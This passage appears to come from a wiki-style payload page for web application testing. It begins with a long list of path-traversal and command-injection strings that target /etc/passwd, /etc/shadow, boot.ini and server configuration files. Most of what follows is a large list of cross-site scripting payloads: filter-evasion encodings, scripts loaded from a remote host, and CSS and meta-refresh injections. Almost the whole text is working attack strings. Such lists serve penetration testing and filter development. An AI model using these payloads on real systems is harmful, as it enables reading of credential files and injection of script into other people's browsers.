/..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml 